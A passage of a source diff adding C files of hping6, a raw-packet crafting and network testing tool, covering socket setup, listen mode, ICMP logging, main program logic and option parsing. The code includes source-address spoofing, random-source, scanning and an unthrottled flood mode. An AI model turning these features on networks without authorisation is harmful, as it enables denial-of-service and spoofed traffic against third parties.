if (pcapsize < size)
size = pcapsize;
memcpy(packet, p, pcapsize);
return pcapsize;
}
#endif /* ! OSTYPE_LINUX || FORCE_LIBPCAP */

73
linux_sockpacket.c Normal file
View File

@ -0,0 +1,73 @@
/*
* $smu-mark$
* $name: linux_sockpacket.c$
* $author: Salvatore Sanfilippo <antirez@invece.org>$
* $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$
* $license: This software is under GPL version 2 of license$
* $date: Fri Nov 5 11:55:48 MET 1999$
* $rev: 8$
*/
#include "hping2.h"
#if (defined OSTYPE_LINUX) && (!defined FORCE_LIBPCAP)
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h> /* close */
#include <stdio.h>
#include "globals.h"
static void enlarge_recvbuf(int fd)
{
int val = 131070;
int len = sizeof(val);
/* Don't check the error: non fatal */
setsockopt(fd, SOL_SOCKET, SO_RCVBUF, (const char *) &val, len);
}
#ifndef ETH_P_IPV6
# define ETH_P_IPV6 0x86DD
#endif
int open_sockpacket()
{
int s;
if (opt_debug)
printf("DEBUG: Trying to open PF_PACKET socket... ");
// s = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP));
// s = socket(PF_PACKET, SOCK_DGRAM, 768);
if(opt_ipv6)
s = socket(PF_PACKET, SOCK_DGRAM, htons(ETH_P_IPV6));
else
s = socket(PF_PACKET, SOCK_DGRAM, htons(ETH_P_IP));
if (s == -1) {
if (opt_debug) {
printf("DEBUG: failed ( 2.0.x kernel? )\n");
printf("DEBUG: Trying to open SOCK_PACKET socket... ");
}
s = socket(AF_INET, SOCK_PACKET, htons(ETH_P_IP));
}
if (s == -1) {
perror("[open_sockpacket] socket()");
return -1;
}
enlarge_recvbuf(s);
if (opt_debug)
printf("DEBUG: PF_PACKET, SOCK_RAW open OK\n");
return s;
}
int close_sockpacket(int s)
{
return close(s);
}
#endif /* OSTYPE_LINUX && !FORCE_LIBPCAP */

79
listen.c Normal file
View File

@ -0,0 +1,79 @@
/*
* $smu-mark$
* $name: listen.c$
* $author: Salvatore Sanfilippo <antirez@invece.org>$
* $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$
* $license: This software is under GPL version 2 of license$
* $date: Fri Nov 5 11:55:48 MET 1999$
* $rev: 8$
*/
#include <stdlib.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include "hping2.h" /* hping2.h includes hcmp.h */
#include "globals.h"
void listenmain(void)
{
int size, ip_size;
int stdoutFD = fileno(stdout);
char packet[IP_MAX_SIZE+linkhdr_size];
char *p, *ip_packet;
struct myiphdr ip;
__u16 id;
static __u16 exp_id; /* expected id */
exp_id = 1;
while(1) {
size = read_packet(packet, IP_MAX_SIZE+linkhdr_size);
switch(size) {
case 0:
continue;
case -1:
exit(1);
}
/* Skip truncated packets */
if (size < linkhdr_size+IPHDR_SIZE)
continue;
ip_packet = packet + linkhdr_size;
/* copy the ip header so it will be aligned */
memcpy(&ip, ip_packet, sizeof(ip));
id = ntohs(ip.id);
ip_size = ntohs(ip.tot_len);
if (size-linkhdr_size > ip_size)
size = ip_size;
else
size -= linkhdr_size;
if ((p = memstr(ip_packet, sign, size))) {
if (opt_verbose)
fprintf(stderr, "packet %d received\n", id);
if (opt_safe) {
if (id == exp_id)
exp_id++;
else {
if (opt_verbose)
fprintf(stderr, "packet not in sequence (id %d) received\n", id);
send_hcmp(HCMP_RESTART, exp_id);
if (opt_verbose)
fprintf(stderr, "HCMP restart from %d sent\n", exp_id);
continue; /* discard this packet */
}
}
p+=strlen(sign);
write(stdoutFD, p, size-(p-ip_packet));
}
}
}

112
logicmp.c Normal file
View File

@ -0,0 +1,112 @@
/*
* $smu-mark$
* $name: logicmp.c$
* $author: Salvatore Sanfilippo <antirez@invece.org>$
* $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$
* $license: This software is under GPL version 2 of license$
* $date: Fri Nov 5 11:55:48 MET 1999$
* $rev: 8$
*/
#include <stdio.h>
#include <sys/types.h> /* this should be not needed, but ip_icmp.h lacks it */
#include "hping2.h"
#include "globals.h"
void log_icmp_timeexc(const char *src_addr, unsigned short icmp_code)
{
switch(icmp_code) {
case ICMP_EXC_TTL:
printf("TTL 0 during transit from ip=%s", src_addr);
break;
case ICMP_EXC_FRAGTIME:
printf("TTL 0 during reassembly from ip=%s", src_addr);
break;
}
if (opt_gethost) {
char *hostn;
fflush(stdout);
hostn = get_hostname(src_addr);
printf("name=%s", (hostn) ? hostn : "UNKNOWN");
}
}
void log_icmp_unreach(const char *src_addr, unsigned short icmp_code)
{
static char* icmp_unreach_msg[]={
"Network Unreachable", /* code 0 */
"Host Unreachable", /* code 1 */
"Protocol Unreachable", /* code 2 */
"Port Unreachable", /* code 3 */
"Fragmentation Needed/DF set", /* code 4 */
"Source Route failed", /* code 5 */
NULL, /* code 6 */
NULL, /* code 7 */
NULL, /* code 8 */
NULL, /* code 9 */
NULL, /* code 10 */
NULL, /* code 11 */
NULL, /* code 12 */
"Packet filtered", /* code 13 */
"Precedence violation", /* code 14 */
"precedence cut off" /* code 15 */
};
if (icmp_code < 16 && icmp_unreach_msg[icmp_code] != NULL)
printf("ICMP %s from ip=%s", icmp_unreach_msg[icmp_code], src_addr);
else
printf("ICMP Unreachable type=%d from ip=%s",
icmp_code, src_addr);
if (opt_gethost) {
char *hostn;
fflush(stdout);
hostn = get_hostname(src_addr);
printf("name=%s", (hostn) ? hostn : "UNKNOWN");
}
putchar('\n');
}
void log_icmp6_unreach(const char *src_addr, unsigned short icmp_code)
{
static char* icmp_unreach_msg[]={
"Network Unreachable", /* code 0 */
"Packet Filtered", /* code 1 */
"Unreachable type=2", /* code 2 */
"Address Unreachable", /* code 3 */
"Port Unreachable", /* code 4 */
};
if (icmp_code < 5)
printf("ICMP6 %s from ip=%s", icmp_unreach_msg[icmp_code], src_addr);
else
printf("ICMP6 Unreachable type=%d from ip=%s",
icmp_code, src_addr);
if (opt_gethost) {
char *hostn;
fflush(stdout);
hostn = get_hostname(src_addr);
printf("name=%s", (hostn) ? hostn : "UNKNOWN");
}
putchar('\n');
}
void log_icmp6_ptb(const char *src_addr, __u32 mtu)
{
printf("ICMP6 Packet Too Big, MTU=%d from ip=%s",
mtu, src_addr);
if (opt_gethost) {
char *hostn;
fflush(stdout);
hostn = get_hostname(src_addr);
printf("name=%s", (hostn) ? hostn : "UNKNOWN");
}
putchar('\n');
}

390
main.c Normal file
View File

@ -0,0 +1,390 @@
/*
* $smu-mark$
* $name: main.c$
* $author: Salvatore Sanfilippo <antirez@invece.org>$
* $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$
* $license: This software is under GPL version 2 of license$
* $date: Fri Nov 5 11:55:48 MET 1999$
* $rev: 8$
*/
/*
* hping official page at http://www.kyuzz.org/antirez
* Covered by GPL version 2, Read the COPYING file for more information
*/
/* $Id: main.c,v 1.26 2003/08/07 23:55:55 antirez Exp $ */
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <signal.h>
#include <time.h>
#include <sys/time.h>
#include <sys/types.h>
#include <time.h>
#include "hping2.h"
#if (!defined OSTYPE_LINUX) || (defined FORCE_LIBPCAP)
#include <pcap.h>
#endif /* ! OSTYPE_LINUX || FORCE_LIBPCAP */
/* globals */
unsigned int
tcp_th_flags = 0,
linkhdr_size = -1, /* physical layer header size */
ip_tos = 0,
set_seqnum = FALSE,
tcp_seqnum = FALSE,
set_ack,
h_if_mtu,
virtual_mtu = DEFAULT_VIRTUAL_MTU,
ip_frag_offset = 0,
signlen,
lsr_length = 0,
ssr_length = 0,
tcp_ack;
unsigned short int
data_size = 0;
float
rtt_min = 0,
rtt_max = 0,
rtt_avg = 0;
int
sockpacket,
sockraw,
sent_pkt = 0,
recv_pkt = 0,
out_of_sequence_pkt = 0,
sending_wait = DEFAULT_SENDINGWAIT, /* see DEFAULT_SENDINGWAIT */
opt_rawipmode = FALSE,
opt_icmpmode = FALSE,
opt_udpmode = FALSE,
opt_scanmode = FALSE,
opt_listenmode = FALSE,
opt_waitinusec = FALSE,
opt_numeric = FALSE,
opt_gethost = TRUE,
opt_quiet = FALSE,
opt_relid = FALSE,
opt_fragment = FALSE,
opt_df = FALSE,
opt_mf = FALSE,
opt_debug = FALSE,
opt_verbose = FALSE,
opt_winid_order = FALSE,
opt_keepstill = FALSE,
opt_datafromfile= FALSE,
opt_hexdump = FALSE,
opt_contdump = FALSE,
opt_sign = FALSE,
opt_safe = FALSE,
opt_end = FALSE,
opt_traceroute = FALSE,
opt_seqnum = FALSE,
opt_incdport = FALSE,
opt_force_incdport = FALSE,
opt_icmptype = DEFAULT_ICMP_TYPE,
opt_icmpcode = DEFAULT_ICMP_CODE,
opt_rroute = FALSE,
opt_tcpexitcode = FALSE,
opt_badcksum = FALSE,
opt_tr_keep_ttl = FALSE,
opt_tcp_timestamp = FALSE,
opt_tr_stop = FALSE,
opt_tr_no_rtt = FALSE,
opt_rand_dest = FALSE,
opt_rand_source = FALSE,
opt_lsrr = FALSE,
opt_ssrr = FALSE,
opt_cplt_rte = FALSE,
opt_bps = 0,
opt_pps = 0,
tcp_exitcode = 0,
src_ttl = DEFAULT_TTL,
src_id = -1, /* random */
base_dst_port = DEFAULT_DPORT,
dst_port = DEFAULT_DPORT,
src_port,
sequence = 0,
initsport = DEFAULT_INITSPORT,
src_winsize = DEFAULT_SRCWINSIZE,
src_thoff = (TCPHDR_SIZE >> 2),
count = DEFAULT_COUNT,
ctrlzbind = DEFAULT_BIND,
delaytable_index= 0,
eof_reached = FALSE,
icmp_ip_version = DEFAULT_ICMP_IP_VERSION,
icmp_ip_ihl = DEFAULT_ICMP_IP_IHL,
icmp_ip_tos = DEFAULT_ICMP_IP_TOS,
icmp_ip_tot_len = DEFAULT_ICMP_IP_TOT_LEN,
icmp_ip_id = DEFAULT_ICMP_IP_ID,
icmp_ip_protocol= DEFAULT_ICMP_IP_PROTOCOL,
icmp_ip_srcport = DEFAULT_DPORT,
icmp_ip_dstport = DEFAULT_DPORT,
opt_force_icmp = FALSE,
icmp_cksum = DEFAULT_ICMP_CKSUM,
raw_ip_protocol = DEFAULT_RAW_IP_PROTOCOL,
opt_ipv6 = FALSE,
opt_af = AF_INET,
opt_flood = FALSE;
char
datafilename [1024],
targetname [1024],
targetstraddr [1024],
ifname [1024] = {'\0'},
ifstraddr [1024],
spoofaddr [1024],
icmp_ip_srcip [1024],
icmp_ip_dstip [1024],
icmp_gwip [1024],
sign [1024],
rsign [1024], /* reverse sign (hping -> gniph) */
ip_opt [40],
*opt_scanports = "";
unsigned char
lsr [255] = {0},
ssr [255] = {0};
unsigned
ip_optlen = 0;
struct sockaddr_in
icmp_ip_src,
icmp_ip_dst,
icmp_gw;
struct SOCKADDR
local,
remote;
struct itimerval usec_delay;
volatile struct delaytable_element delaytable[TABLESIZE];
struct hcmphdr *hcmphdr_p; /* global pointer used by send_hcmp to transfer
hcmp headers to data_handler */
#if (!defined OSTYPE_LINUX) || (defined FORCE_LIBPCAP)
pcap_t *pcapfp;
char errbuf[PCAP_ERRBUF_SIZE];
struct pcap_pkthdr hdr;
#endif /* ! OSTYPE_LINUX || FORCE_LIBPCAP */
/* main */
int main(int argc, char **argv)
{
char setflags[1024] = {'\0'};
int c, hdr_size;
if (parse_options(argc, argv) == -1) {
printf("hping6: missing host argument\n"
"Try `hping6 --help' for more information.\n");
exit(1);
}
/* reverse sign */
if (opt_sign || opt_listenmode) {
char *src = sign+strlen(sign)-1; /* last char before '\0' */
char *dst = rsign;
while(src>=sign)
*dst++ = *src--;
*dst = '\0';
if (opt_debug)
printf("DEBUG: reverse sign: %s\n", rsign);
}
/* get target address before interface processing */
if (opt_ipv6)
resolve6((struct sockaddr*)&remote, targetname);
else if ((!opt_listenmode && !opt_safe) && !opt_rand_dest)
resolve((struct sockaddr*)&remote, targetname);
if (opt_rand_dest) {
strlcpy(targetstraddr, targetname, sizeof(targetstraddr));
} else {
inet_ntop(opt_af, ADDR(&remote), targetstraddr, sizeof(targetstraddr));
}
/* get interface's name and address */
if ( get_if_name() == -1 ) {
printf("[main] no such device\n");
exit(1);
}
if (opt_verbose || opt_debug) {
printf("using %s, addr: %s, MTU: %d\n",
ifname, ifstraddr, h_if_mtu);
}
/* open raw socket */
sockraw = open_sockraw();
if (sockraw == -1) {
printf("[main] can't open raw socket\n");
exit(1);
}
/* set SO_BROADCAST option */
socket_broadcast(sockraw);
/* set SO_IPHDRINCL option */
if(!opt_ipv6)
socket_iphdrincl(sockraw);
/* open sock packet or libpcap socket */
#if (defined OSTYPE_LINUX) && (!defined FORCE_LIBPCAP)
sockpacket = open_sockpacket();
if (sockpacket == -1) {
printf("[main] can't open packet socket\n");
exit(1);
}
#else
if (open_pcap() == -1) {
printf("[main] open_pcap failed\n");
exit(1);
}
#endif /* OSTYPE_LINUX && !FORCE_LIBPCAP */
/* get physical layer header size */
if (linkhdr_size == -1 && get_linkhdr_size(ifname) == -1) {
printf("[main] physical layer header size unknown (try --lhs)\n");
exit(1);
}
if (spoofaddr[0] != '\0')
{
if(opt_ipv6)
resolve6((struct sockaddr*)&local, spoofaddr);
else
resolve((struct sockaddr*)&local, spoofaddr);
}
if (icmp_ip_srcip[0] == '\0')
resolve((struct sockaddr*)&icmp_ip_src, "1.2.3.4");
else
resolve((struct sockaddr*)&icmp_ip_src, icmp_ip_srcip);
if (icmp_ip_dstip[0] == '\0')
resolve((struct sockaddr*)&icmp_ip_dst, "5.6.7.8");
else
resolve((struct sockaddr*)&icmp_ip_dst, icmp_ip_dstip);
if (icmp_gwip[0] == '\0')
resolve((struct sockaddr*)&icmp_gw, "0.0.0.0");
else
resolve((struct sockaddr*)&icmp_gw, icmp_gwip);
srand(time(NULL));
/* set initial source port */
if (initsport == -1)
initsport = src_port = 1024 + (rand() % 2000);
else
src_port = initsport;
for (c = 0; c < TABLESIZE; c++)
delaytable[c].seq = -1;
/* use SIGALRM to send packets like ping do */
Signal(SIGALRM, send_packet);
/* binding */
if (ctrlzbind != BIND_NONE) Signal(SIGTSTP, inc_destparm);
Signal(SIGINT, print_statistics);
Signal(SIGTERM, print_statistics);
/* if we are in listemode enter in listenmain() else */
/* print HPING... bla bla bla and enter in wait_packet() */
if (opt_listenmode) {
fprintf(stderr, "hping6 listen mode\n");
/* memory protection */
if (memlockall() == -1) {
perror("[main] memlockall()");
fprintf(stderr, "Warning: can't disable memory paging!\n");
} else if (opt_verbose || opt_debug) {
printf("Memory paging disabled\n");
}
listenmain();
/* UNREACHED */
}
/* Scan mode */
if (opt_scanmode) {
fprintf(stderr, "Scanning %s (%s), port %s\n",
targetname, targetstraddr, opt_scanports);
scanmain();
/* UNREACHED */
}
if (opt_rawipmode) {
strcat(setflags, "raw IP mode");
hdr_size = IPHDR_SIZE;
} else if (opt_icmpmode) {
strcat(setflags, "icmp mode");
hdr_size = IPHDR_SIZE + ICMPHDR_SIZE;
} else if (opt_udpmode) {
strcat(setflags, "udp mode");
hdr_size = IPHDR_SIZE + UDPHDR_SIZE;
} else {
if (tcp_th_flags & TH_RST) strcat(setflags, "R");
if (tcp_th_flags & TH_SYN) strcat(setflags, "S");
if (tcp_th_flags & TH_ACK) strcat(setflags, "A");
if (tcp_th_flags & TH_FIN) strcat(setflags, "F");
if (tcp_th_flags & TH_PUSH) strcat(setflags, "P");
if (tcp_th_flags & TH_URG) strcat(setflags, "U");
if (tcp_th_flags & TH_X) strcat(setflags, "X");
if (tcp_th_flags & TH_Y) strcat(setflags, "Y");
if (setflags[0] == '\0') strcat(setflags, "NO FLAGS are");
hdr_size = IPHDR_SIZE + TCPHDR_SIZE;
}
if(opt_ipv6)
hdr_size += IP6HDR_SIZE - IPHDR_SIZE;
printf("HPING %s (%s %s): %s set, %d headers + %d data bytes\n",
targetname,
ifname,
targetstraddr,
setflags,
hdr_size,
data_size);
/* memory protection */
if (opt_datafromfile || opt_sign) {
if (memlockall() == -1) {
perror("[main] memlockall()");
fprintf(stderr,
"Warning: can't disable memory paging!\n");
} else if (opt_verbose || opt_debug) {
printf("Memory paging disabled\n");
}
}
/* start packet sending */
kill(getpid(), SIGALRM);
/* flood mode? */
if (opt_flood) {
fprintf(stderr,
"hping in flood mode, no replies will be shown\n");
while (1) {
send_packet(0);
}
}
/* main loop */
while(1)
wait_packet();
return 0;
}

29
memlock.c Normal file
View File

@ -0,0 +1,29 @@
/*
* $smu-mark$
* $name: memlock.c$
* $other_author: Alfonso De Gregorio <dira@speedcom.it>
* $other_copyright: Copyright (C) 1999 by Alfonso De Gregorio
* $license: This software is under GPL version 2 of license$
* $date: Fri Nov 5 11:55:48 MET 1999$
* $rev: 2$
*/
#include <unistd.h>
#include <sys/mman.h>
int memlock(char *addr, size_t size)
{
#ifdef _POSIX_MEMLOCK_RANGE
unsigned long page_offset, page_size;
page_size = sysconf(_SC_PAGESIZE); /* also <limits.h> .. */
page_offset = (unsigned long) addr % page_size;
addr -= page_offset;
size += page_offset;
return ( mlock(addr, size) );
#endif
return (-1);
}

23
memlockall.c Normal file
View File

@ -0,0 +1,23 @@
/*
* $smu-mark$
* $name: memlockall.c$
* $other_author: Alfonso De Gregorio <dira@speedcom.it>
* $other_copyright: Copyright (C) 1999 by Alfonso De Gregorio
* $license: This software is under GPL version 2 of license$
* $date: Fri Nov 5 11:55:48 MET 1999$
* $rev: 2$
*/
#include <unistd.h>
#include <sys/mman.h>
int memlockall(void)
{
/* #ifdef _POSIX_MEMLOCK */
/* NJ: better to test _POSIX_MEMLOCK value */
#if _POSIX_MEMLOCK == 1
return ( mlockall(MCL_CURRENT|MCL_FUTURE) );
#endif
return (-1);
}

25
memstr.c Normal file
View File

@ -0,0 +1,25 @@
/*
* $smu-mark$
* $name: memstr.c$
* $author: Salvatore Sanfilippo <antirez@invece.org>$
* $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$
* $license: This software is under GPL version 2 of license$
* $date: Fri Nov 5 11:55:48 MET 1999$
* $rev: 4$
*/
#include <string.h>
#include <stdlib.h> /* NULL macro */
char *memstr(char *haystack, char *needle, int size)
{
char *p;
char needlesize = strlen(needle);
for (p = haystack; p <= (haystack-needlesize+size); p++)
{
if (memcmp(p, needle, needlesize) == 0)
return p; /* found */
}
return NULL;
}

28
memunlock.c Normal file
View File

@ -0,0 +1,28 @@
/*
* $smu-mark$
* $name: memunlock.c$
* $other_author: Alfonso De Gregorio <dira@speedcom.it>
* $other_copyright: Copyright (C) 1999 by Alfonso De Gregorio
* $license: This software is under GPL version 2 of license$
* $date: Fri Nov 5 11:55:48 MET 1999$
* $rev: 2$
*/
#include <unistd.h>
#include <sys/mman.h>
int memunlock(char *addr, size_t size)
{
#ifdef _POSIX_MEMLOCK_RANGE
unsigned long page_offset, page_size;
page_size = sysconf(_SC_PAGESIZE);
page_offset = (unsigned long) addr % page_size;
addr -= page_offset;
size += page_offset;
return ( munlock(addr, size) );
#endif
return (-1);
}

23
memunlockall.c Normal file
View File

@ -0,0 +1,23 @@
/*
* $smu-mark$
* $name: memunlockall.c$
* $other_author: Alfonso De Gregorio <dira@speedcom.it>
* $other_copyright: Copyright (C) 1999 by Alfonso De Gregorio
* $license: This software is under GPL version 2 of license$
* $date: Fri Nov 5 11:55:48 MET 1999$
* $rev: 2$
*/
#include <unistd.h>
#include <sys/mman.h>
int memunlockall(void)
{
/* #ifdef _POSIX_MEMLOCK */
/* NJ: better to test _POSIX_MEMLOCK value */
#if _POSIX_MEMLOCK == 1
return ( munlockall() );
#endif
return(-1);
}

29
opensockraw.c Normal file
View File

@ -0,0 +1,29 @@
/*
* $smu-mark$
* $name: opensockraw.c$
* $author: Salvatore Sanfilippo <antirez@invece.org>$
* $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$
* $license: This software is under GPL version 2 of license$
* $date: Fri Nov 5 11:55:49 MET 1999$
* $rev: 8$
*/
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h> /* IPPROTO_RAW def. */
#include "hping2.h"
#include "globals.h"
int open_sockraw()
{
int s;
s = socket(opt_af, SOCK_RAW, IPPROTO_RAW);
if (s == -1) {
perror("[open_sockraw] socket()");
return -1;
}
return s;
}

719
parseoptions.c Normal file
View File

@ -0,0 +1,719 @@
/* parseoptions.c -- options handling
* Copyright(C) 1999-2001 Salvatore Sanfilippo
* Under GPL, see the COPYING file for more information about
* the license. */
/* $Id: parseoptions.c,v 1.25 2003/08/08 14:39:00 antirez Exp $ */
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/time.h>
#include <ctype.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include "antigetopt.h"
#include "hping2.h"
#include "globals.h"
enum { OPT_COUNT, OPT_INTERVAL, OPT_NUMERIC, OPT_QUIET, OPT_INTERFACE,
OPT_HELP, OPT_VERSION, OPT_DESTPORT, OPT_BASEPORT, OPT_TTL, OPT_ID,
OPT_WIN, OPT_SPOOF, OPT_FIN, OPT_SYN, OPT_RST, OPT_PUSH, OPT_ACK,
OPT_URG, OPT_XMAS, OPT_YMAS, OPT_FRAG, OPT_MOREFRAG, OPT_DONTFRAG,
OPT_FRAGOFF, OPT_TCPOFF, OPT_REL, OPT_DATA, OPT_RAWIP, OPT_ICMP,
OPT_UDP, OPT_BIND, OPT_UNBIND, OPT_DEBUG, OPT_VERBOSE, OPT_WINID,
OPT_KEEP, OPT_FILE, OPT_DUMP, OPT_PRINT, OPT_SIGN, OPT_LISTEN,
OPT_SAFE, OPT_TRACEROUTE, OPT_TOS, OPT_MTU, OPT_SEQNUM, OPT_BADCKSUM,
OPT_SETSEQ, OPT_SETACK, OPT_ICMPTYPE, OPT_ICMPCODE, OPT_END,
OPT_RROUTE, OPT_IPPROTO, OPT_ICMP_IPVER, OPT_ICMP_IPHLEN,
OPT_ICMP_IPLEN, OPT_ICMP_IPID, OPT_ICMP_IPPROTO, OPT_ICMP_CKSUM,
OPT_ICMP_TS, OPT_ICMP_ADDR, OPT_TCPEXITCODE, OPT_FAST, OPT_TR_KEEP_TTL,
OPT_TCP_TIMESTAMP, OPT_TR_STOP, OPT_TR_NO_RTT, OPT_ICMP_HELP,
OPT_RAND_DEST, OPT_RAND_SOURCE, OPT_LSRR, OPT_SSRR, OPT_ROUTE_HELP,
OPT_ICMP_IPSRC, OPT_ICMP_IPDST, OPT_ICMP_SRCPORT, OPT_ICMP_DSTPORT,
OPT_ICMP_GW, OPT_FORCE_ICMP, OPT_APD_SEND, OPT_SCAN, OPT_FASTER,
OPT_BPS, OPT_PPS, OPT_IPV6, OPT_LHS ,OPT_FLOOD };
static struct ago_optlist hping_optlist[] = {
{ 'c', "count", OPT_COUNT, AGO_NEEDARG },
{ 'i', "interval", OPT_INTERVAL, AGO_NEEDARG|AGO_EXCEPT0 },
{ 'n', "numeric", OPT_NUMERIC, AGO_NOARG },
{ 'q', "quiet", OPT_QUIET, AGO_NOARG },
{ 'I', "interface", OPT_INTERFACE, AGO_NEEDARG },
{ 'h', "help", OPT_HELP, AGO_NOARG },
{ 'v', "version", OPT_VERSION, AGO_NOARG },
{ 'p', "destport", OPT_DESTPORT, AGO_NEEDARG|AGO_EXCEPT0 },
{ 's', "baseport", OPT_BASEPORT, AGO_NEEDARG|AGO_EXCEPT0 },
{ 't', "ttl", OPT_TTL, AGO_NEEDARG },
{ 'N', "id", OPT_ID, AGO_NEEDARG|AGO_EXCEPT0 },
{ 'w', "win", OPT_WIN, AGO_NEEDARG|AGO_EXCEPT0 },
{ 'a', "spoof", OPT_SPOOF, AGO_NEEDARG|AGO_EXCEPT0 },
{ 'F', "fin", OPT_FIN, AGO_NOARG|AGO_EXCEPT0 },
{ 'S', "syn", OPT_SYN, AGO_NOARG|AGO_EXCEPT0 },
{ 'R', "rst", OPT_RST, AGO_NOARG|AGO_EXCEPT0 },
{ 'P', "push", OPT_PUSH, AGO_NOARG|AGO_EXCEPT0 },
{ 'A', "ack", OPT_ACK, AGO_NOARG|AGO_EXCEPT0 },
{ 'U', "urg", OPT_URG, AGO_NOARG|AGO_EXCEPT0 },
{ 'X', "xmas", OPT_XMAS, AGO_NOARG|AGO_EXCEPT0 },
{ 'Y', "ymas", OPT_YMAS, AGO_NOARG|AGO_EXCEPT0 },
{ 'f', "frag", OPT_FRAG, AGO_NOARG|AGO_EXCEPT0 },
{ 'x', "morefrag", OPT_MOREFRAG, AGO_NOARG|AGO_EXCEPT0 },
{ 'y', "dontfrag", OPT_DONTFRAG, AGO_NOARG },
{ 'g', "fragoff", OPT_FRAGOFF, AGO_NEEDARG|AGO_EXCEPT0 },
{ 'O', "tcpoff", OPT_TCPOFF, AGO_NEEDARG|AGO_EXCEPT0 },
{ 'r', "rel", OPT_REL, AGO_NOARG },
{ 'd', "data", OPT_DATA, AGO_NEEDARG|AGO_EXCEPT0 },
{ '0', "rawip", OPT_RAWIP, AGO_NOARG|AGO_EXCEPT0 },
{ '1', "icmp", OPT_ICMP, AGO_NOARG },
{ '2', "udp", OPT_UDP, AGO_NOARG },
{ '8', "scan", OPT_SCAN, AGO_NEEDARG },
{ 'z', "bind", OPT_BIND, AGO_NOARG },
{ 'Z', "unbind", OPT_UNBIND, AGO_NOARG },
{ 'D', "debug", OPT_DEBUG, AGO_NOARG },
{ 'V', "verbose", OPT_VERBOSE, AGO_NOARG },
{ 'W', "winid", OPT_WINID, AGO_NOARG },
{ 'k', "keep", OPT_KEEP, AGO_NOARG },
{ 'E', "file", OPT_FILE, AGO_NEEDARG|AGO_EXCEPT0 },
{ 'j', "dump", OPT_DUMP, AGO_NOARG|AGO_EXCEPT0 },
{ 'J', "print", OPT_PRINT, AGO_NOARG|AGO_EXCEPT0 },
{ 'e', "sign", OPT_SIGN, AGO_NEEDARG|AGO_EXCEPT0 },
{ '9', "listen", OPT_LISTEN, AGO_NEEDARG|AGO_EXCEPT0 },
{ 'B', "safe", OPT_SAFE, AGO_NOARG|AGO_EXCEPT0 },
{ 'T', "traceroute", OPT_TRACEROUTE, AGO_NOARG },
{ 'o', "tos", OPT_TOS, AGO_NEEDARG },
{ 'm', "mtu", OPT_MTU, AGO_NEEDARG|AGO_EXCEPT0 },
{ 'Q', "seqnum", OPT_SEQNUM, AGO_NOARG|AGO_EXCEPT0 },
{ 'b', "badcksum", OPT_BADCKSUM, AGO_NOARG|AGO_EXCEPT0 },
{ 'M', "setseq", OPT_SETSEQ, AGO_NEEDARG|AGO_EXCEPT0 },
{ 'L', "setack", OPT_SETACK, AGO_NEEDARG|AGO_EXCEPT0 },
{ 'C', "icmptype", OPT_ICMPTYPE, AGO_NEEDARG|AGO_EXCEPT0 },
{ 'K', "icmpcode", OPT_ICMPCODE, AGO_NEEDARG|AGO_EXCEPT0 },
{ 'u', "end", OPT_END, AGO_NOARG|AGO_EXCEPT0 },
{ 'G', "rroute", OPT_RROUTE, AGO_NOARG },
{ 'H', "ipproto", OPT_IPPROTO, AGO_NEEDARG|AGO_EXCEPT0 },
{ '\0', "icmp-help", OPT_ICMP_HELP, AGO_NOARG },
{ '\0', "icmp-ipver", OPT_ICMP_IPVER, AGO_NEEDARG|AGO_EXCEPT0 },
{ '\0', "icmp-iphlen", OPT_ICMP_IPHLEN, AGO_NEEDARG|AGO_EXCEPT0 },
{ '\0', "icmp-iplen", OPT_ICMP_IPLEN, AGO_NEEDARG|AGO_EXCEPT0 },
{ '\0', "icmp-ipid", OPT_ICMP_IPID, AGO_NEEDARG|AGO_EXCEPT0 },
{ '\0', "icmp-ipproto", OPT_ICMP_IPPROTO, AGO_NEEDARG|AGO_EXCEPT0 },
{ '\0', "icmp-cksum", OPT_ICMP_CKSUM, AGO_NEEDARG|AGO_EXCEPT0 },
{ '\0', "icmp-ts", OPT_ICMP_TS, AGO_NOARG },
{ '\0', "icmp-addr", OPT_ICMP_ADDR, AGO_NOARG },
{ '\0', "tcpexitcode", OPT_TCPEXITCODE, AGO_NOARG },
{ '\0', "fast", OPT_FAST, AGO_NOARG|AGO_EXCEPT0 },
{ '\0', "faster", OPT_FASTER, AGO_NOARG|AGO_EXCEPT0 },
{ '\0', "tr-keep-ttl", OPT_TR_KEEP_TTL, AGO_NOARG },
{ '\0', "tcp-timestamp",OPT_TCP_TIMESTAMP, AGO_NOARG },
{ '\0', "tr-stop", OPT_TR_STOP, AGO_NOARG },
{ '\0', "tr-no-rtt", OPT_TR_NO_RTT, AGO_NOARG },
{ '\0', "rand-dest", OPT_RAND_DEST, AGO_NOARG },
{ '\0', "rand-source", OPT_RAND_SOURCE, AGO_NOARG },
{ '\0', "lsrr", OPT_LSRR, AGO_NEEDARG|AGO_EXCEPT0 },
{ '\0', "ssrr", OPT_SSRR, AGO_NEEDARG|AGO_EXCEPT0 },
{ '\0', "route-help", OPT_ROUTE_HELP, AGO_NOARG },
{ '\0', "apd-send", OPT_APD_SEND, AGO_NEEDARG },
{ '\0', "icmp-ipsrc", OPT_ICMP_IPSRC, AGO_NEEDARG|AGO_EXCEPT0 },
{ '\0', "icmp-ipdst", OPT_ICMP_IPDST, AGO_NEEDARG|AGO_EXCEPT0 },
{ '\0', "icmp-gw", OPT_ICMP_GW, AGO_NEEDARG|AGO_EXCEPT0 },
{ '\0', "icmp-srcport", OPT_ICMP_SRCPORT, AGO_NEEDARG|AGO_EXCEPT0 },
{ '\0', "icmp-dstport", OPT_ICMP_DSTPORT, AGO_NEEDARG|AGO_EXCEPT0 },
{ '\0', "force-icmp", OPT_FORCE_ICMP, AGO_NOARG },
{ '\0', "bps", OPT_BPS, AGO_NEEDARG },
